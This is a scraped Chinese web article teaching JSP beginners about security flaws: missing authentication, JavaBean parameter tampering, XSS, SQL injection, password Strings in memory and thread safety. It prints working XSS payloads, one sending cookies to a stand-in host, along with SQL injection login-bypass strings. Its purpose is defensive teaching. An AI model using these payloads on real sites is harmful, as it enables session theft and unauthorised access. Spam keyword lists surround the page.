国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > JS > 正文

從腳本編程的角度看JSP的安全

2024-09-06 12:40:57
字體:
供稿:網(wǎng)友
 

jsp作為建立動(dòng)態(tài)網(wǎng)頁的技術(shù)正在不斷升溫。jsp和asp、php、工作機(jī)制不太一樣。一般說來,jsp頁面在執(zhí)行時(shí)是編譯式,而不是解釋式的。首次調(diào)用jsp文件其實(shí)是執(zhí)行一個(gè)編譯為servlet的過程。當(dāng)瀏覽器向服務(wù)器請(qǐng)求這一個(gè)jsp文件的時(shí)候,服務(wù)器將檢查自上次編譯后jsp文件是否有改變,如果沒有改變,就直接執(zhí)行servlet,而不用再重新編譯,這樣,效率便得到了明顯提高。

 

今天我將和大家一起從腳本編程的角度看jsp的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內(nèi)了。寫這篇文章的主要目的是給初學(xué)jsp編程的朋友們提個(gè)醒,從一開始就要培養(yǎng)安全編程的意識(shí),不要犯不該犯的錯(cuò)誤,避免可以避免的損失。另外,我也是初學(xué)者,如有錯(cuò)誤或其它意見請(qǐng)發(fā)帖賜教。

 

一、認(rèn)證不嚴(yán)——低級(jí)失誤

在溢洋論壇v1.12 修正版中,

user_manager.jsp是用戶管理的頁面,作者知道它的敏感性,加上了一把鎖:

if ((session.getvalue("username")==null)││   (session.getvalue("userclass")==null)││   (! session.getvalue("userclass").equals("系統(tǒng)管理員"))) { response.sendredirect("err.jsp?id=14"); return; }

 

如果要查看、修改某用戶的信息,就要用modifyuser_manager.jsp這個(gè)文件。管理員提交http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51就是查看、修改id為51的用戶的資料(管理員默認(rèn)的用戶id為51)。但是,如此重要的文件竟缺乏認(rèn)證,普通用戶(包括游客)也直接提交上述請(qǐng)求也可以對(duì)其一覽無余(密碼也是明文存儲(chǔ)、顯示的)。modifyuser_manage.jsp同樣是門戶大開,直到惡意用戶把數(shù)據(jù)更新的操作執(zhí)行完畢,重定向到user_manager.jsp的時(shí)候,他才會(huì)看見那個(gè)姍姍來遲的顯示錯(cuò)誤的頁面。顯然,只鎖一扇門是遠(yuǎn)遠(yuǎn)不夠的,編程的時(shí)候一定要不厭其煩地為每一個(gè)該加身份認(rèn)證的地方加上身份認(rèn)證。

 

二、守好javabean的入口

 

jsp組件技術(shù)的核心是被稱為bean的java組件。在程序中可把邏輯控制、數(shù)據(jù)庫操作放在javabeans組件中,然后在jsp文件中調(diào)用它,這樣可增加程序的清晰度及程序的可重用性。和傳統(tǒng)的asp或php頁面相比,jsp頁面是非常簡(jiǎn)潔的,因?yàn)樵S多動(dòng)態(tài)頁面處理過程可以封裝到j(luò)avabean中。

 

要改變javabean屬性,要用到“”標(biāo)記。

 

下面的代碼是假想的某電子購物系統(tǒng)的源碼的一部分,這個(gè)文件是用來顯示用戶的購物框中的信息的,而checkout.jsp是用來結(jié)帳的。

 

you have added the item

 

to your basket.

 

your total is $

 

proceed to checkout

 

注意到property="*"了嗎?這表明用戶在可見的jsp頁面中輸入的,或是直接通過query string提交的全部變量的值,將存儲(chǔ)到匹配的bean屬性中。

 

一般,用戶是這樣提交請(qǐng)求的:

 

http://www.somesite.com /addtobasket.jsp?newitem=item0105342

 

但是不守規(guī)矩的用戶呢?他們可能會(huì)提交:

 

http://www.somesite.com /addtobasket.jsp?newitem=item0105342&balance=0

 

這樣,balance=0的信息就被在存儲(chǔ)到了javabean中了。當(dāng)他們這時(shí)點(diǎn)擊“chekout”結(jié)賬的時(shí)候,費(fèi)用就全免了。

 

這與php中全局變量導(dǎo)致的安全問題如出一轍。由此可見:“property="*"”一定要慎用!

 

三、長(zhǎng)盛不衰的跨站腳本

 

跨站腳本(cross site scripting)攻擊是指在遠(yuǎn)程web頁面的html代碼中手插入惡意的javascript, vbscript, activex, html, 或flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設(shè)置,破壞用戶的數(shù)據(jù)。跨站腳本攻擊在多數(shù)情況下不會(huì)對(duì)服務(wù)器和web程序的運(yùn)行造成影響,但對(duì)客戶端的安全構(gòu)成嚴(yán)重的威脅。

 

以仿動(dòng)網(wǎng)的阿菜論壇(beta-1)舉個(gè)最簡(jiǎn)單的例子。當(dāng)我們提交

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>alert(document.cookie)

 

便能彈出包含自己cookie信息的對(duì)話框。而提交

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.163.com'

 

就能重定向到網(wǎng)易。

 

由于在返回“name”變量的值給客戶端時(shí),腳本沒有進(jìn)行任何編碼或過濾惡意代碼,當(dāng)用戶訪問嵌入惡意“name”變量數(shù)據(jù)鏈接時(shí),會(huì)導(dǎo)致腳本代碼在用戶瀏覽器上執(zhí)行,可能導(dǎo)致用戶隱私泄露等后果。比如下面的鏈接:

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie

 

xxx.xxx用于收集后邊跟的參數(shù),而這里參數(shù)指定的是document.cookie,也就是訪問此鏈接的用戶的cookie。在asp世界中,很多人已經(jīng)把偷cookie的技術(shù)練得爐火純青了。在jsp里,讀取cookie也不是難事。當(dāng)然,跨站腳本從來就不會(huì)局限于偷cookie這一項(xiàng)功能,相信大家都有一定了解,這里就不展開了。

 

對(duì)所有動(dòng)態(tài)頁面的輸入和輸出都應(yīng)進(jìn)行編碼,可以在很大程度上避免跨站腳本的攻擊。遺憾的是,對(duì)所有不可信數(shù)據(jù)編碼是資源密集型的工作,會(huì)對(duì) web 服務(wù)器產(chǎn)生性能方面的影響。常用的手段還是進(jìn)行輸入數(shù)據(jù)的過濾,比如下面的代碼就把危險(xiǎn)的字符進(jìn)行替換:

 

更積極的方式是利用正則表達(dá)式只允許輸入指定的字符:

public boolean isvalidinput(string str) { if(str.matches("[a-z0-9]+")) return true; else return false; }

 

 

四、時(shí)刻牢記sql注入

 

一般的編程書籍在教初學(xué)者的時(shí)候都不注意讓他們從入門時(shí)就培養(yǎng)安全編程的習(xí)慣。著名的《jsp編程思想與實(shí)踐》就是這樣向初學(xué)者示范編寫帶數(shù)據(jù)庫的登錄系統(tǒng)的(數(shù)據(jù)庫為mysql):

statement stmt = conn.createstatement(); string checkuser = "select * from login where username = '" + username + "' and userpassword = '" + userpassword + "'"; resultset rs = stmt.executequery(checkuser); if(rs.next()) response.sendredirect("successlogin.jsp"); else response.sendredirect("failurelogin.jsp");

 

這樣使得盡信書的人長(zhǎng)期使用這樣先天“帶洞”的登錄代碼。如果數(shù)據(jù)庫里存在一個(gè)名叫“jack”的用戶,那么在不知道密碼的情況下至少有下面幾種方法可以登錄:

用戶名:jack 密碼:' or 'a'='a 用戶名:jack 密碼:' or 1=1/* 用戶名:jack' or 1=1/* 密碼:(任意)

 

lybbs(凌云論壇)ver 2.9.server在loginout.java中是這樣對(duì)登錄提交的數(shù)據(jù)進(jìn)行檢查的:

if(s.equals("") ││ s1.equals("")) throw new userexception("用戶名或密碼不能空。"); if(s.indexof("'") != -1 ││ s.indexof("/"") != -1 ││ s.indexof(",") != -1 ││ s.indexof("//") != -1) throw new userexception("用戶名不能包括 ' /" // , 等非法字符。"); if(s1.indexof("'") != -1 ││ s1.indexof("/"") != -1 ││ s1.indexof("*") != -1 ││ s1.indexof("//") != -1) throw new userexception("密碼不能包括 ' /" // * 等非法字符。"); if(s.startswith(" ") ││ s1.startswith(" ")) throw new userexception("用戶名或密碼中不能用空格。");

 

但是我不清楚為什么他只對(duì)密碼而不對(duì)用戶名過濾星號(hào)。另外,正斜杠似乎也應(yīng)該被列到“黑名單”中。我還是認(rèn)為用正則表達(dá)式只允許輸入指定范圍內(nèi)的字符來得干脆。

 

這里要提醒一句:不要以為可以憑借某些數(shù)據(jù)庫系統(tǒng)天生的“安全性”就可以有效地抵御所有的攻擊。pinkeyes的那篇《php注入實(shí)例》就給那些依賴php的配置文件中的“magic_quotes_gpc = on”的人上了一課。

 

五、string對(duì)象帶來的隱患

 

java平臺(tái)的確使安全編程更加方便了。java中無指針,這意味著 java 程序不再像c那樣能對(duì)地址空間中的任意內(nèi)存位置尋址了。在jsp文件被編譯成 .class 文件時(shí)會(huì)被檢查安全性問題,例如當(dāng)訪問超出數(shù)組大小的數(shù)組元素的嘗試將被拒絕,這在很大程度上避免了緩沖區(qū)溢出攻擊。但是,string對(duì)象卻會(huì)給我們帶來一些安全上的隱患。如果密碼是存儲(chǔ)在 java string 對(duì)象中的,則直到對(duì)它進(jìn)行垃圾收集或進(jìn)程終止之前,密碼會(huì)一直駐留在內(nèi)存中。即使進(jìn)行了垃圾收集,它仍會(huì)存在于空閑內(nèi)存堆中,直到重用該內(nèi)存空間為止。密碼 string 在內(nèi)存中駐留得越久,遭到竊聽的危險(xiǎn)性就越大。更糟的是,如果實(shí)際內(nèi)存減少,則操作系統(tǒng)會(huì)將這個(gè)密碼 string 換頁調(diào)度到磁盤的交換空間,因此容易遭受磁盤塊竊聽攻擊。為了將這種泄密的可能性降至最低(但不是消除),您應(yīng)該將密碼存儲(chǔ)在 char 數(shù)組中,并在使用后對(duì)其置零(string 是不可變的,無法對(duì)其置零)。

 

六、線程安全初探

 

“java能做的,jsp就能做”。與asp、php等腳本語言不一樣,jsp默認(rèn)是以多線程方式執(zhí)行的。以多線程方式執(zhí)行可大大降低對(duì)系統(tǒng)的資源需求,提高系統(tǒng)的并發(fā)量及響應(yīng)時(shí)間。線程在程序中是獨(dú)立的、并發(fā)的執(zhí)行路徑,每個(gè)線程有它自己的堆棧、自己的程序計(jì)數(shù)器和自己的局部變量。雖然多線程應(yīng)用程序中的大多數(shù)操作都可以并行進(jìn)行,但也有某些操作(如更新全局標(biāo)志或處理共享文件)不能并行進(jìn)行。如果沒做好線程的同步,在大并發(fā)量訪問時(shí),不需要惡意用戶的“熱心參與”,問題也會(huì)出現(xiàn)。最簡(jiǎn)單的解決方案就是在相關(guān)的jsp文件中加上: 指令,使它以單線程方式執(zhí)行,這時(shí),所有客戶端的請(qǐng)求以串行方式執(zhí)行。這樣會(huì)嚴(yán)重降低系統(tǒng)的性能。我們可以仍讓jsp文件以多線程方式執(zhí)行,通過對(duì)函數(shù)上鎖來對(duì)線程進(jìn)行同步。一個(gè)函數(shù)加上synchronized 關(guān)鍵字就獲得了一個(gè)鎖。看下面的示例:

public class myclass{ int a; public init() {//此方法可以多個(gè)線程同時(shí)調(diào)用 a = 0; } public synchronized void set() {//兩個(gè)線程不能同時(shí)調(diào)用此方法 if(a>5) { a= a-5; } } }

 

但是這樣仍然會(huì)對(duì)系統(tǒng)的性能有一定影響。一個(gè)更好的方案是采用局部變量代替實(shí)例變量。因?yàn)閷?shí)例變量是在堆中分配的,被屬于該實(shí)例的所有線程共享,不是線程安全的,而局部變量在堆棧中分配,因?yàn)槊總€(gè)線程都有它自己的堆??臻g,所以這樣線程就是安全的了。比如凌云論壇中添加好友的代碼:

public void addfriend(int i, string s, string s1) throws dbconnectexception { try { if…… else { dbconnect dbconnect = new dbconnect("insert into friend (authorid,friendname) values (?,?)"); dbconnect.setint(1, i); dbconnect.setstring(2, s); dbconnect.executeupdate(); dbconnect.close(); dbconnect = null; } } catch(exception exception) { throw new dbconnectexception(exception.getmessage()); } }

 

下面是調(diào)用:

friendname=parameterutils.getstring(request,"friendname"); if(action.equals("adduser")) { forumfriend.addfriend(integer.parseint(cookieid),friendname,cookiename); errorinfo=forumfriend.geterrorinfo(); }

 

如果采用的是實(shí)例變量,那么該實(shí)例變量屬于該實(shí)例的所有線程共享,就有可能出現(xiàn)用戶a傳遞了某個(gè)參數(shù)后他的線程轉(zhuǎn)為睡眠狀態(tài),而參數(shù)被用戶b無意間修改,造成好友錯(cuò)配的現(xiàn)象。

|||
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 渑池县| 太原市| 洪泽县| 公安县| 安宁市| 民勤县| 湾仔区| 马山县| 治多县| 蕲春县| 汝南县| 肃宁县| 赣州市| 金平| 邢台市| 荔波县| 聂拉木县| 渑池县| 行唐县| 西林县| 灵璧县| 武胜县| 永昌县| 东丰县| 黄石市| 涟水县| 临泉县| 彩票| 饶阳县| 东港市| 武邑县| 利川市| 济宁市| 扬州市| 万全县| 罗田县| 偃师市| 台山市| 黎平县| 浠水县| 霍邱县|